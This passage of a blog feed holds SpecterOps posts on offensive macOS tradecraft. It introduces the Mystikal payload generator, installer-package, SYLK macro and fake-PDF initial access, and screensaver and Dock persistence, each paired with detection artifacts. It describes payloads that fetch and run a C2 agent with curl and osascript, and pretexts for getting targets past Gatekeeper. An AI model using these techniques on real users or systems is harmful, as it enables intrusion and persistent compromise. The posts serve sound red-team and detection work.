detection.</p><p><strong>Note:</strong> Within ESF, the file rename events are preceded by file create events. Temporary files are created, which are then saved to the intended location. To minimize the screenshots, I only included the rename events, but you can note the temporary file created in the srcpath field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c-br6WGTOzrVOHW6GfU98g.png" /><figcaption>Saving the Blank.saver.zip to ~/Library/Screen Savers</figcaption></figure><p>Regarding modifying the plist, ESF captures saving the new malicious plist in binary format to /Users/itsatrap/Library/Preferences/ByHost/com.apple.screensaver.[Hardware-UUID].plist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jPL3ldEs5O1WAAXFmluNQ.png" /><figcaption>Saving the modified ~/Library/Preferences/ByHost/com.apple.screensaver.[Hardware-UUID].plist</figcaption></figure><p>After the plist is modified, ScreenSaverPersist restarts the cfprefsd (Core Foundation Preferences Daemon) to apply the changes. This is done through /usr/bin/killall -hup cfprefsd.</p><p>An interesting artifact of this persistence method is that it leads to two executions of persistence.</p><p>First, when the screensaver is triggered, it runs ScreenSaverEngine PID 5963</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQeOMsMFlLjAxsyO1nESfA.png" /><figcaption>Screensaver starting ScreenSaverEngine PID 5963 execution</figcaption></figure><p>The ScreenSaverEngine PID 5963 leads to executing our persistence bash PID 5965.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Avuz5l9CgpLOxeN4Ln47hQ.png" /><figcaption>Bash PID 5965 Execution Pulling Down and Running Apfell payload</figcaption></figure><p>Second, when the screensaver is triggered, it also executes legacyScreenSaver PID 5969.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsdNP6dyi0MlYa8B6iGFXw.png" /><figcaption>Screensaver triggering legacyScreenSaver PID 5969 execution</figcaption></figure><p>The legacyScreenSaver PID 5969 leads to the secondary persistence execution of bash PID 5971.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qRpT3F5T6C2hBR70U6CU3g.png" /><figcaption>Bash PID 5971 Execution Pulling Down and Running Apfell payload</figcaption></figure><p>The two executions of bash PID 5969 and PID 5971, ultimately lead to the two instances of our Apfell payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*7ms6D8eW-6_EYnwSgW8XYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*w7acFBUnQuKl46X8-YnPpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EaaCMm9UHnVyfRnSD41JXw.png" /><figcaption>Two instances of persistence execution PID 5967 and PID 5973</figcaption></figure><p>Of course, this behavior can be modified by placing process running checks in the malicious screensaver project.</p><h4>Alternative Modifications</h4><p>An adversary could perform the plist modification tasks off-target and upload the modified plist to the ~/Library/Preferences/ByHost/com.apple.screensaver.[Hardware-UUID].plist location to reduce the number of potential indicators. However, this will still result in the file::rename event. In the example above, osascript was the process performing this modification which is abnormal compared to the normal cfprefsd process. Modifications of the plist outside of the cfprefsd process may be a good starting point for identifying malicious behavior.</p><p>Another method to edit these plists is through the command line tools defaults and PlistBuddy. This method is often used by <a href="https://www.jamf.com/jamf-nation/discussions/34706/a-guide-for-custom-screen-savers">JAMF</a> <a href="https://www.jamf.com/jamf-nation/discussions/34283/catalina-screensaver">admins</a> to push custom screensavers to endpoints. However, if either of these tools is used, then it looks similar to the editing that would occur in the GUI because they invoke cfprefsd, which makes the plist modification. For coverage, defenders would be best served by keying in on non cfprefsd processes making the screensaver plist modifications and a supplemental detection on malicious defaults and PlistBuddy usage.</p><h3>Conclusion</h3><p>The purpose of this post was to display how screensavers can be abused for persistence on macOS, similarly to how it is on Windows. As well as demonstrate how plists on macOS are similar to the Registry on Windows. More importantly, I hope that the persistence indicators shown can help those developing detections for this technique. If you come across any additional indicators that this persistence method creates that are unmentioned above, please let me know.</p><h3>References / Resources:</h3><ul><li><a href="https://attack.mitre.org/techniques/T1546/002/">https://attack.mitre.org/techniques/T1546/002/</a></li><li><a href="https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1">https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1</a></li><li><a href="https://github.com/its-a-feature/Mythic/blob/master/documentation-docker/content/Agents/apfell/_index.md">https://github.com/its-a-feature/Mythic/blob/master/documentation-docker/content/Agents/apfell/_index.md</a></li><li><a href="https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/AboutBundles/AboutBundles.html">https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFBundles/AboutBundles/AboutBundles.html</a></li><li><a href="https://www.jamf.com/jamf-nation/discussions/34706/a-guide-for-custom-screen-savers">https://www.jamf.com/jamf-nation/discussions/34706/a-guide-for-custom-screen-savers</a></li><li><a href="https://www.jamf.com/jamf-nation/discussions/34283/catalina-screensaver">https://www.jamf.com/jamf-nation/discussions/34283/catalina-screensaver</a></li><li><a href="https://github.com/SuprHackerSteve/Crescendo">https://github.com/SuprHackerSteve/Crescendo</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d562bf5bf90b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/saving-your-access-d562bf5bf90b">Saving Your Access</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducing Mystikal]]></title>
            <link>https://medium.com/specter-ops-posts/introducing-mystikal-4fbd2f7ae520?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fbd2f7ae520</guid>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[initial-access]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Wed, 05 May 2021 13:52:37 GMT</pubDate>
            <atom:updated>2021-05-05T17:45:58.625Z</atom:updated>
            <content:encoded><![CDATA[<p>Addressing the pain of macOS initial access payloads</p><h3>Introduction</h3><p>A common pain point in offensive macOS operations is initial access. Those who have gone through this process are familiar with how easy it is to make mistakes that block execution. Additionally, it isn’t easy to analyze these methods without looking at past malware samples/reports from a defensive perspective. To address these pain points, I’ve developed <a href="https://github.com/D00MFist/Mystikal">Mystikal</a>.</p><p>This post serves as a usage guide for Mystikal, an overview of a few initial access payloads, and discusses the artifacts left behind these initial access methods for detections.</p><h3>Mystikal</h3><p><a href="https://github.com/D00MFist/Mystikal">Mystikal</a> is a macOS payload generator integrated with Mythic. Mystikal leverages <a href="https://docs.mythic-c2.net/scripting">Mythic scripting</a> to log in and creates the necessary payload for the selected initial access method. Mystikal creates an <a href="https://github.com/its-a-feature/Mythic/blob/master/documentation-docker/content/Agents/apfell/_index.md">Apfell</a> or <a href="https://github.com/its-a-feature/Mythic/blob/master/documentation-docker/content/Agents/leviathan/_index.md">Leviathan</a> payload depending on the chosen initial access method. As development continues, I plan to add additional initial access methods.</p><p>The remainder of this post goes through a few usage examples as well as the related detections.</p><h3>Installer Packages w/ JavaScript Functionality</h3><h4>Background</h4><p>A common payload used for initial access is the installer package. These packages are eXtensible ARchiver (XAR) archives that conform to a specific folder structure and have a .pkg file extension. The easy comparison to Windows would be Windows installers which typically have the .msi file extension. As with Windows installers, installer packages execution typically results in an install wizard presented to the end-user for installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LSz_4jfadjqT4cnSklSUCQ.png" /><figcaption>Installer Package (.pkg) Example</figcaption></figure><p>For offensive use, typical installer package execution relies upon preinstall and postinstall scripts, which are simple bash scripts that execute during the installation process. An alternative method depends upon the abuse of JavaScript within distribution Extensible Markup Language (XML) files using <a href="https://developer.apple.com/documentation/installer_js">InstallerJS</a>. Apple’s InstallerJS is an Application Programming Interface (API) leveraged in distribution XML files to perform installation checks.</p><p>Within the InstallerJS API is the <a href="https://developer.apple.com/documentation/installer_js/system/1812364-run">system.run</a> tag, which can execute system commands. The <a href="https://redcanary.com/blog/clipping-silver-sparrows-wings/">Silver Sparrow</a> malware recently used this method. By abusing the distribution XML file, attackers can perform the same tasks typically within preinstall / postinstall scripts. The benefit of this method is that it makes it slightly harder to see what actions the installer package is performing. Additionally, due to the invocation time of the distribution XML file, the installer package does not need to finish the installation process for execution to occur.</p><h4>Usage</h4><p>For Mystikal payload creation, you first must update the MythicSettings.py file found at Settings/MythicSettings.py to match your Mythic server.</p><p>Then to create this payload, you select option 1 for Installer Packages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*P_kZbL3kg4m_XwvMGTeyvQ.png" /><figcaption>Main Menu for Mystikal</figcaption></figure><p><strong>Note: </strong>This post does not cover all of the methods shown above. For more information regarding Mobile Configuration Profiles in which the Leviathan payloads come into play, I highly recommend reviewing <a href="https://twitter.com/xorrior?lang=en">Xorrior</a>’s <a href="https://posts.specterops.io/no-place-like-chrome-122e500e421f">blog</a>. For coverage of Malicious Disk Images, I recommend <a href="https://twitter.com/patrickwardle">Patrick Wardle</a>’s <a href="https://objective-see.com/blog/blog_0x53.html">blog</a>.</p><p>Next, from the submenu, select option 4 for Installer Package with JavaScript Functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*MjSFeCXOkFRSEumlLypdzg.png" /><figcaption>Selected Option 4 for Installer Package w/ Distribution XML</figcaption></figure><p>Lastly, select from the submenu option 1 for execution embedded in the distribution XML file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*jjNwPV3Dvf9bwVLIg8eA1w.png" /><figcaption>Selected Option 1 to Place Execution within Distribution XML File</figcaption></figure><p>Mystikal will go through the build process by first creating the Apfell payload. This Apfell payload is made based on the information within the Settings/MythicSettings.py file (callback host information) and the Modules/Installer_JS.py file (selected payload commands). Next, Mystikal modifies the template distribution XML file and saves the installer package as JSPackage.pkg by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*A7LEC7gjbNHNtSetV5yWMw.png" /><figcaption>Output Message for Payload Option</figcaption></figure><h4>Execution</h4><p>Depending on the method used to get the payload onto the target machine (e.g., browser download, email attachment, etc.), you will probably be subject to Gatekeeper. For a detailed look at Gatekeeper, I highly recommend Howard Oakley’s <a href="https://eclecticlight.co/2019/10/04/will-gatekeeper-let-me-run-that-app-in-catalina/">blog</a> on the topic. As a quick overview, Gatekeeper is Apple’s mechanism to prevent untrusted code from running on macOS devices. Due to that, the target will probably see the following prompt when double-clicking the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*175TBZguYGDKWKukgpoxwA.png" /><figcaption>Double Clicking the Installer Package, Downloaded through Chrome</figcaption></figure><p>This prompt does not give us the option the execute the application. Legitimate applications occasionally run into this as well. So as with legitimate applications, an attacker can remedy this with a pretext stating how to open the application. For example, simply right-clicking (or Control-click if you have an Apple Magic Mouse) and opening the application results in the following prompt, which gives us the option to run the package.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*BYfPEUgPPDQCVHF8xv8CFA.png" /><figcaption>Right Clicking the Installer Package Downloaded through Chrome</figcaption></figure><p><strong>Note:</strong> An attacker could go down the route of getting the package signed and notarized to minimize these prompts, but that comes with the risk of burning your <a href="https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution?preferredLanguage=occ">Apple developer program certificates</a>. Obtaining these certificates involves a long authorization process that costs $99/yr.</p><p>Before discussing artifacts, it’s worth noting an additional prompt generated on Big Sur. It appears checks are performed on the application to determine if preinstall actions are attached to the installer package.</p><p>The following message gets displayed when either install scripts or distribution XML files are attached to an installer package to give end-users another pause before execution. This message did not occur on my Catalina Virtual Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*Zzba8usBGO2CRY7xQFDkGQ.png" /><figcaption>A Message Indicating Preinstall Actions within the Package</figcaption></figure><h4>Detection</h4><p><a href="https://github.com/SuprHackerSteve/Crescendo">Crescendo</a>, a real-time event viewer for macOS, leverages Apple’s <a href="https://developer.apple.com/documentation/endpointsecurity">Endpoint Security Framework</a> (ESF) and helps capture process and file events. Using Crescendo, I could easily trace the execution of the bash command within the distribution.xml file. The installer process spawned the child of bash, which resulted in the other processes involved in the payload. In this case, those were curl &amp; osascript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Ph4Crb02ec1nErK7ImNyg.png" /><figcaption>Bash Execution Pulling Down and Running Apfell payload</figcaption></figure><p>As you can see, the bash PID 4133 has the parent of installer PID 4131.</p><p><a href="https://github.com/themittenmac/TrueTree">TrueTree</a> displays the process tree for currently running processes. Using TrueTree, I could trace the running process of osascript that had the parent process of the installer application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9vpSUZ-ACpmst46owYSCzA.png" /><figcaption>TrueTree Excerpt Showing Running Apfell Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c08jUKhPIEJKIPRH_8veVQ.png" /><figcaption>Apfell Agent in Mythic Running in the osascript PID 4135</figcaption></figure><p>A popular tool to inspect installer packages before execution is <a href="https://mothersruin.com/software/SuspiciousPackage/">SuspiciousPackage</a>. Although it is excellent for identifying install scripts, it has difficulty with distribution XML files. However, since these files are XAR archives, you can use xar -xvf JSPackage.pkg to expand the file. You can also use pkgutil --expand JSPackage.pkg save/to/path to view the contents of the package. There is an installation log at /var/log/install.log, but the entries there will not indicate information regarding the distribution XML file.</p><h3>Microsoft Office Macros</h3><h4>Background</h4><p>Execution through Microsoft Office documents (Word, PowerPoint, Excel) is an established and popular execution method. The folks at <a href="https://labs.f-secure.com/blog/attack-detection-fundamentals-2021-macos-lab-1/">F-Secure</a> recently held a great webinar breaking down execution and detection of the traditional form of macros on macOS. Patrick Wardle has a great <a href="https://objective-see.com/blog/blog_0x4B.html">blog</a> that also covers this method. An interesting item within the blog was covering <a href="https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/">Stan Hegt</a>’s research which uses the old file format SYmbolic LinK (.slk) and the old macro programming language Excel 4.0 Macro (XLM), the predecessor to Visual Basic for Applications (VBA). Using this method, we can get the same execution as the traditional method but use the .slk or .csv file extensions.</p><h4>Usage</h4><p>To create this payload, you select option 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*MTkJt5Esk7S6peAEA4hm7w.png" /><figcaption>Selected Option 5 for XLM Macros in SYLK Files</figcaption></figure><p>The contents of the macro.slk file is a simple XLM macro based on Patrick’s example, which invokes curl and osascript to pull down and execute an Apfell payload from our Mythic server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*PjKgwfqZygnT9o8F8jn1mg.png" /><figcaption>Contents of the macro.slk File</figcaption></figure><h4>Execution</h4><p>As expected, double-clicking the file results in a warning prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*09va1-cQwWOQgnoZ-jhRLQ.png" /><figcaption>Prompt when Double-Clicking the Excel File</figcaption></figure><p>As stated previously, you could also use .csv file extension, but this results in an additional prompt shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*HR_kry0xPmOBx-ft_lY5-Q.png" /><figcaption>Additional Warning Prompt for .csv</figcaption></figure><h4>Detection</h4><p>Using TrueTree, we can trace that the running osascript process PID 12982 is spawned from the Microsoft Excel process PID 12958, which is abnormal behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PlcOhJ4IYIq-mYhgUY4XWg.png" /><figcaption>TrueTree Excerpt Showing Running Apfell Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERcTqU1LLh-7yLDtI5R29A.png" /><figcaption>Apfell Agent in Mythic Running in the osascript PID 12982</figcaption></figure><p>Using Crescendo, we can capture the contents of the bash execution, which was kicked off by Microsoft Excel PID 12958</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t2PI4Sr9jxSD6oL_7sYSbQ.png" /><figcaption>Bash Execution Pulling Down and Running Apfell Payload</figcaption></figure><h3>Armed PDFs</h3><h4>Background</h4><p>While looking into initial access payload options, I came across a <a href="https://null-byte.wonderhowto.com/how-to/hacking-macos-create-fake-pdf-trojan-with-applescript-part-2-disguising-script-0184706/">blog</a> from <a href="https://twitter.com/tokyoneon_?lang=en">tokyoneon</a> about creating a fake PDF trojan with <a href="https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html">AppleScript</a>. This method creates an application that appears to be a typical Portable Document Format (PDF) file by downloading and opening a legitimate PDF and executes our Apfell payload to hide our true intent from the end-user</p><h4>Usage</h4><p>To create this payload, select option 7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XWx22gh_h2N0SXXODqkw2g.png" /><figcaption>Selected Option 7 for Armed PDFs</figcaption></figure><p>Mystikal builds the application with a ..app in the filename in a simple effort to hide the actual file extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWVjfGDv1KPHX1cjBmouzw.png" /><figcaption>Output Message for Payload Option</figcaption></figure><h4>Execution</h4><p>Again depending on the method used to get the payload onto the target, you will likely be subject to Gatekeeper. The target will likely see the following prompt when double-clicking the fake PDF application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*7CEGBWwRhZ1GWR1PVbOWCA.png" /><figcaption>Double-Clicking the Fake PDF Downloaded through Chrome</figcaption></figure><p>Again, an attacker can deliver some instructions to coerce the target to right-click and open the file possibly. If successful, they will be presented the following prompt with the open option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*4CzCVG_4HbxgZevJBVCvSw.png" /><figcaption>Right Clicking the Installer Package Downloaded through Chrome</figcaption></figure><h4>Detection</h4><p>Using Crescendo, I traced the execution of the command within the fake PDF (application posing as PDF). The application process applet spawned the child of bash resulting in the other processes involved to execute. In this case, those were curl &amp; osascript</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StWyK1mP9f06RXT074TLzA.png" /><figcaption>Fake PDF Application Executing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*AZwePszQxNk_gMXa6Y_C-A.png" /><figcaption>Bash Execution Pulls Down Fake PDF, Opens the PDF, Pulls Down, and Runs the Apfell Payload</figcaption></figure><p>The above command is cutoff; below is the simple AppleScript file that Mystikal creates and compiles into the fake PDF application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*NgDHFOnVUBGwORoL-jZnxQ.png" /><figcaption>Contents of AppleScript that Compiles into the Application</figcaption></figure><p>This snippet shows that the application pulls down (curl) and opens (Preview.app) the actual PDF we want the target to open. Next, it pulls downs the Apfell payload (curl) and executes it in the background (osascript).</p><p>Using TrueTree, I could trace the running process of osascript, which had the parent of the Fake PDF application (Doomfist.pdf..app).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J6eWyPWDnKZvI7p31uRpjA.png" /><figcaption>TrueTree Excerpt Showing Running Apfell Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQfwkL_h5OFkr_S6InhLdA.png" /><figcaption>Apfell Agent in Mythic Running in the osascript PID 633</figcaption></figure><h3>Conclusion</h3><p>The purpose of this post was to introduce <a href="https://github.com/D00MFist/Mystikal">Mystikal</a> while highlighting some lesser-known initial access methods on macOS and the artifacts they create. The Mystikal project is still in the early stages and in active development. If you have any thoughts on improvements/additions, I am always open to pull requests 😃. I hope this post sheds light on initial access methods for macOS and provides a brief introduction to the artifacts they create to aid detection efforts.</p><h3>References / Resources:</h3><ul><li><a href="https://docs.mythic-c2.net/scripting">https://docs.mythic-c2.net/scripting</a></li><li><a href="https://github.com/its-a-feature/Mythic">https://github.com/its-a-feature/Mythic</a></li><li><a href="https://redcanary.com/blog/clipping-silver-sparrows-wings/">https://redcanary.com/blog/clipping-silver-sparrows-wings/</a></li><li><a href="https://developer.apple.com/documentation/installer_js/system/1812364-run">https://developer.apple.com/documentation/installer_js/system/1812364-run</a></li><li><a href="https://eclecticlight.co/2019/10/04/will-gatekeeper-let-me-run-that-app-in-catalina/">https://eclecticlight.co/2019/10/04/will-gatekeeper-let-me-run-that-app-in-catalina/</a></li><li><a href="https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution?preferredLanguage=occ">https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution?preferredLanguage=occ</a></li><li><a href="https://github.com/SuprHackerSteve/Crescendo">https://github.com/SuprHackerSteve/Crescendo</a></li><li><a href="https://github.com/xorrior/macOSTools">https://github.com/xorrior/macOSTools</a></li><li><a href="https://developer.apple.com/documentation/endpointsecurity">https://developer.apple.com/documentation/endpointsecurity</a></li><li><a href="https://github.com/themittenmac/TrueTree">https://github.com/themittenmac/TrueTree</a></li><li><a href="https://mothersruin.com/software/SuspiciousPackage/">https://mothersruin.com/software/SuspiciousPackage/</a></li><li><a href="https://labs.f-secure.com/blog/attack-detection-fundamentals-2021-macos-lab-1/">https://labs.f-secure.com/blog/attack-detection-fundamentals-2021-macos-lab-1/</a></li><li><a href="https://github.com/cedowens/Mythic-Macro-Generator">https://github.com/cedowens/Mythic-Macro-Generator</a></li><li><a href="https://objective-see.com/blog/blog_0x4B.html">https://objective-see.com/blog/blog_0x4B.html</a></li><li><a href="https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/">https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/</a></li><li><a href="https://null-byte.wonderhowto.com/how-to/hacking-macos-create-fake-pdf-trojan-with-applescript-part-2-disguising-script-0184706/">https://null-byte.wonderhowto.com/how-to/hacking-macos-create-fake-pdf-trojan-with-applescript-part-2-disguising-script-0184706/</a></li><li><a href="https://matthew-brett.github.io/docosx/flat_packages.html">https://matthew-brett.github.io/docosx/flat_packages.html</a></li><li><a href="https://developer.apple.com/documentation/installer_js">https://developer.apple.com/documentation/installer_js</a></li><li><a href="https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-2/">https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-2/</a></li><li><a href="https://posts.specterops.io/malicious-installer-plugins-6e30991bb529">https://posts.specterops.io/malicious-installer-plugins-6e30991bb529</a></li><li><a href="https://posts.specterops.io/no-place-like-chrome-122e500e421f">https://posts.specterops.io/no-place-like-chrome-122e500e421f</a></li><li><a href="https://objective-see.com/blog/blog_0x53.html">https://objective-see.com/blog/blog_0x53.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fbd2f7ae520" width="1" height="1" alt=""><hr><p><a href="https://medium.com/specter-ops-posts/introducing-mystikal-4fbd2f7ae520">Introducing Mystikal</a> was originally published in <a href="https://medium.com/specter-ops-posts">Posts By SpecterOps Team Members</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Are You Docking Kidding Me?]]></title>
            <link>https://medium.com/specter-ops-posts/are-you-docking-kidding-me-9aa79c24bdc1?source=rss-c1f5c2dadf0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/9aa79c24bdc1</guid>
            <category><![CDATA[jxa]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[detection]]></category>
            <dc:creator><![CDATA[Leo Pitt]]></dc:creator>
            <pubDate>Mon, 21 Sep 2020 13:42:11 GMT</pubDate>
            <atom:updated>2020-09-21T21:37:12.532Z</atom:updated>
            <content:encoded><![CDATA[<p>.LNK persistence on macOS?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*B89S8fHXt-ITYE5W3WVlRg.png" /></figure><h3>Background</h3><p>An area of recent interest for me is persistence on macOS. Specifically, I have been looking at files that low-level users can modify that may affect user interaction. An area of frequent interaction for end-users is the Dock.</p><p>Through my research, I noticed a plist that controls the visible representation of the Apple Dock applications. Nothing groundbreaking here as this plist is modified frequently by the end-user through the graphical user interface (GUI). Upon inspection of the values within the plist, I wondered if I could change the values to replace a valid application with a malicious application that will run our code.</p><p>The culmination of this research is DockPersist.js, which I have included in the<a href="https://github.com/D00MFist/PersistentJXA"> PersistentJXA</a> project. My implementation will replace either Safari or Chrome with our malicious app. I focused on Safari and Chrome as there is a high likelihood that they will be present in a user’s Dock. However, please note that the concept applies to any application. Once the end-user clicks on the Safari or Chrome icon, it will run our malicious application. This persistence method is similar to the Link (<a href="https://attack.mitre.org/techniques/T1547/009/">.LNK</a>) file persistence on Windows as the Dock icons serve as shortcuts to the actual applications.</p><p>This persistence method does require uploading our malicious application to the target. I prefer using the upload function within a Mythic agent to save our application on the target.</p><p>After modifying the plist, you can reload the Dock immediately; however, it results in a brief screen flicker to the end-user. Alternatively, you can wait until a reboot for our fake application to appear in the Dock because the modified plist persists through a reboot.</p><h3>Usage</h3><h4>Setup</h4><p>Again, this persistence method requires a malicious app to be uploaded to the target, but there are various methods that can bypass Gatekeeper protections and allow us to upload the malicious app to the target. You can:</p><ul><li>zip the application bundle, use the upload command in a Mythic agent (Apfell or Poseidon), then unzip to destination</li><li>zip the application bundle, host somewhere, use curl to pull down to the target, then unzip to destination</li><li>zip the application bundle, base64 encode, base64 decode to save on target, then unzip to destination</li></ul><p>As a Proof of Concept (PoC), I simply created an application in Automator. The PoC application opens Safari in an attempt not to alert the end-user; then, it runs our Apfell payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*qiZdmy6Wz1JMH3ME3DmrOg.png" /><figcaption>JXA within PoC application to open Safari and execute Apfell payload</figcaption></figure><p>To not stand out to the end-user, I replaced the default Automator icon with the Safari compass. Of course, Xcode can be leverage to create more elaborate applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*CF4DSAZ22eULzZ86ngcGVA.png" /><figcaption>PoC application (named Safari) with Safari icon</figcaption></figure><p>Next, I zipped the application bundle and uploaded it to the target. After unzipping to /Users/Shared/, we can focus on invoking the persistence method with the prerequisites fulfilled.</p><p><strong>Note:</strong> Due to the binary format of the plist, the automated implementation requires that the fake application be named “Google Chrome” or “Safari” and be located in /Users/Shared/. The Safari64 and Chrome64 variables can be modified to change this location.</p><h4>Invoke Persistence</h4><p>Import the script into the Apfell agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*bSvx8Iqh_oxLRz3SDPGLNQ.png" /><figcaption>Imported script into Apfell Agent within Mythic</figcaption></figure><p>Call the DockPersist function. The function accepts three arguments: Application Name (Safari or Google Chrome, Bundle ID, and option to reload Dock immediately).</p><p><strong>Note:</strong> The Bundle ID is within the Info.plist and can easily be obtained with the following: /usr/libexec/PlistBuddy -c &#39;Print CFBundleIdentifier&#39; ~/FakeApp/Safari.app/Contents/Info.plist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDGwLz5G6yPHsG2MAvqCKA.png" /><figcaption>Call the DockPersist function in Apfell Agent specifying Safari, our bundle ID, and the option to reload Dock</figcaption></figure><h3>Detection</h3><p>A great tool to quickly capture events on a single host is Crescendo. Crescendo is a real-time event viewer for macOS. An excellent feature of Crescendo is that it leverages Apple’s Endpoint Security Framework (ESF). ESF monitors system events for potentially malicious activity and is an API that is part of the broader System Extensions Framework. For those coming from the Windows side, a crude comparison is a limited Event Tracing for Windows (ETW) for macOS.</p><p>Using Crescendo, we can easily view file and process events created by the persistence execution.</p><p>For the ESF nerds, the following ESF events <a href="https://github.com/SuprHackerSteve/Crescendo/blob/afb88ea91ea8924be00c1618cda0e021a158966f/libCrescendo/esclient.swift#L156-L182">map</a> to Crescendo:</p><ul><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_auth_exec?language=objc"><strong>ES_EVENT_TYPE_AUTH_EXEC</strong></a> = process::exec</li><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_exit"><strong>ES_EVENT_TYPE_NOTIFY_EXIT</strong></a> = process::exit</li><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_create"><strong>ES_EVENT_TYPE_NOTIFY_CREATE</strong></a> = file::create</li><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_kextload?language=objc"><strong>ES_EVENT_TYPE_NOTIFY_KEXTLOAD</strong></a> = process:kext::load</li><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_mount?changes=_4"><strong>ES_EVENT_TYPE_NOTIFY_MOUNT</strong></a> = file::mount</li><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_unlink?changes=latest_major"><strong>ES_EVENT_TYPE_NOTIFY_UNLINK</strong></a> = file::unlink</li><li><a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_notify_rename"><strong>ES_EVENT_TYPE_NOTIFY_RENAME</strong></a> = file::rename</li><li><a href="http://es_event_type_notify_uipc_connect/"><strong>ES_EVENT_TYPE_NOTIFY_UIPC_CONNECT</strong></a> = network::ipcconnect</li><li><a 